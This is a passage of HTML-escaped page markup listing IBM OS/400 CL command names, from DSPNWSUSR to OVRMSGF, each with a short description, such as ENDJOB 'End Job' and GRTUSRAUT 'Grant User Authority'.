Space\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNWSUSR Display Network Server Users\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNWSUSRA Display NWS User Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPOBJAUT Display Object Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPOBJD Display Object Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPOPCLNK Display OptiConnect Link Sts\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPOPT Display Optical\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPOPTLCK Display Optical Locks\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPOPTSVR Display Optical Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPOVR Display Override\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPDGPRF Display PDG Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPFM Display Physical File Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPFRDTA Display Performance Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPFRGPH Display Performance Graph\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPGM Display Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPGMADP Display Program Adopt\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPGMREF Display Program References\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPGMVAR Display Program Variable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPRB Display Problems\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPSFCFG Display PSF Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPTF Display Program Temporary Fix\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPPWRSCD Display Power On/Off Schedule\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPRCDLCK Display Record Locks\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPRCYAP Dsp Recovery for Access Paths\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPRDBDIRE Display RDB Directory Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPRJECFG Display RJE Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPRMTDFN Display Remote Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPS36 Display S/36 Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSAVF Display Save File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSBSD Display Subsystem Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSECA Display Security Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSECAUD Display Security Auditing\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSFWRSC Display Software Resources\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSOCSTS Display Sphere of Control Sts\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSPLF Display Spooled File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSRVA Display Service Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSRVPGM Display Service Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSRVSTS Display Service Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSYSSTS Display System Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPSYSVAL Display System Value\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPTAP Display Tape\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPTAPCGY Display Tape Category\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPTAPCTG Display Tape Cartridge\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPTAPSTS Display Tape Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPTM Display Trademarks\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPTRC Display Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPTRCDTA Display Trace Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPUDFS Display User-Defined FS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPUPGPRP Display Upgrade Preparation\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPUSRPMN Display User Permission\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPUSRPRF Display User Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPUSRPRTI Display User Print Info\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPVT1MAP Display VT100 keyboard map\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPVTMAP Display VT Keyboard Map\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPWSUSR Display Work Station User\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDUPDKT Duplicate Diskette\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDUPOPT Duplicate Optical\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDUPTAP Duplicate Tape\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTAUTL Edit Authorization List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTBCKUPL Edit Backup List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTCPCST Edit CHKPND Constraints\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTDLOAUT Edit DLO Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTDOC Edit Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTLIBL Edit Library List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTOBJAUT Edit Object Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTQST Edit Questions and Answers\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTRBDAP Edit Rebuild of Access Paths\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTRCYAP Edit Recovery for Access Path\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTS36PGMA Edit S/36 Program Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTS36PRCA Edit S/36 Procedure Attribute\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTS36SRCA Edit S/36 Source Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEDTWSOAUT Edit Workstation Object Aut\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEJTEMLOUT Eject Emulation Output\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eELEM Element Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eELSE Else\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEMLPRTKEY Emulate Printer Keys\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDBCHJOB End Batch Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDCBLDBG End COBOL Debug\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDCLNUP End Cleanup\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDCMNSVR End Communications Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDCMNTRC End Communications Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDCMTCTL End Commitment Control\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDCPYSCN End Copy Screen\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDCTLRCY End Controller Recovery\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDDBG End Debug Mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDDBGSVR End Debug Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDDBMON End Database Monitor\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDDEVRCY End Device Recovery\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDDIRSHD End Directory Shadowing\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDDO End Do Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDEPMENV End EPM Environments\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDGRPJOB End Group Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDHOSTSVR End Host Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDINP End Input\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDIPIIFC End IP over IPX Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDIPSIFC End IP over SNA Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDIPX End IPX\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDIPXCCT End IPX Circuit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDISDB End ISDB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDJOB End Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDJOBABN End Job Abnormal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDJOBTRC End Job Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDJRNAP End Journal Access Path\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDJRNPF End Journaling PF Changes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDJS End Job Scheduler\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDLINRCY End Line Recovery\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDM36 End Machine\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDMOD End Mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDMSF End Mail Server Framework\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDNFSSVR End NFS Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDNWIRCY End Network Interface Recovery\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDNWSAPP End Network Server Application\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDPASTHR End Pass-Through\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDPEX End Performance Explorer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDPFRCOL End Performance Collection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDPFRMON End Performance Monitor\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDPGM End Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDPGMEXP End Program Export List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDPJ End Prestarted Jobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDPRTEML End Printer Emulation\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDRCV End Receive\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDRDBRQS End relational database request\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDRDR End Reader\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDRJESSN End RJE Session\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDRMTSPT End Remote Support\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDRQS End Request\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDS36 End S/36 Session\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDSBS End Subsystem\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDSRVJOB End Service Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDSYS End System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDTCP End TCP/IP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDTCPCNN End TCP/IP Connection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDTCPIFC End TCP/IP Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDTCPLNK End TCP/IP Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDTCPPTP End Point-to-Point TCP/IP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDTCPSVR End TCP/IP Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDTIESSN End TIE Session\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDTRPMGR End Trap Manager\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eENDWTR End Writer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEOF End of File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eERASE Remove Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEXPORT Export a Program Symbol\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEXPORTFS Change NFS Export\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEXTPGMINF Extract Program Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFILDOC File Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFMTDTA Format Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFNDSTRPART Find String in Parts with PDM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFNDSTRPDM Find String Using PDM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFTP Start TCP/IP File Transfer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGENCAT Generate Message Catalog\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGENS36RPT Generate S/36 Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGENS38RPT Generate S/38 Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGO Go to Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGOTO Go To\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGRTACCAUT Grant Access Code Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGRTOBJAUT Grant Object Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGRTUSRAUT Grant User Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGRTUSRPMN Grant User Permission\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGRTWSOAUT Grant Workstation Object Aut\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHLDCMNDEV Hold Communications Device\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHLDDSTQ Hold Distribution Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHLDJOB Hold Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHLDJOBQ Hold Job Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHLDJOBSCDE Hold Job Schedule Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHLDOUTQ Hold Output Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHLDRDR Hold Reader\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHLDSPLF Hold Spooled File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHLDWTR Hold Writer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIF If\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINSNWSAPP Install Network Server App\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINSPTF Install Program Temporary Fix\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINZDKT Initialize Diskette\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINZDSTQ Initialize Distribution Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINZOPT Initialize Optical\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINZPCS Initialize Client Access/400\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINZPFM Initialize Physical File Mbr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINZSYS Initialize System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eINZTAP Initialize Tape\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIPXPING Verify IPX Connection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLNKDTADFN Link/Unlink Data Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLODPTF Load Program Temporary Fix\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLODQSTDB Load Q/A Database\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLODRUN Load and Run\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLPR Send TCP/IP Spooled File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMD Create Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMDLSYS Model System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36 Complete System/36 Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36APF System/36 APF Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36CBL System/36 Cobol Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36DFU System/36 DFU Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36DSPF System/36 Display File Migrate\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36ITM Migrate S/36 item\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36LIB System/36 Library Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36MNU System/36 Menu Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36MSGF System/36 Message File Migrate\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36QRY System/36 Query Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36RPG System/36 RPG II Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS36SEC System/36 User ID Migration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMGRS38OBJ Migrate S/38 object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMIGRATE Migration Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMKDIR Create Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMONMSG Monitor Message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMOUNT Add Mounted FS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMOV Move Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMOVDOC Move Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMOVE Move Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMOVOBJ Move Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMRGFMRSPL Merge spool file with a form\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMRGFORMD Merge Form Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMRGMSGCLG Merge Message Catalog\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMRGMSGF Merge Message File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMRGSRC Merge Source\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMRGTCPHT Merge TCP/IP Host Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNETSTAT Work with TCP/IP Network Sts\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOPNDBF Open Data Base File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOPNQRYF Open Query File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOVRDBF Override with Data Base File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOVRDKTF Override with Diskette File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOVRDSPF Override with Display File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOVRICFDEVE Override ICF Pgm Device Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOVRICFF Override ICF File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOVRMSGF Override Message 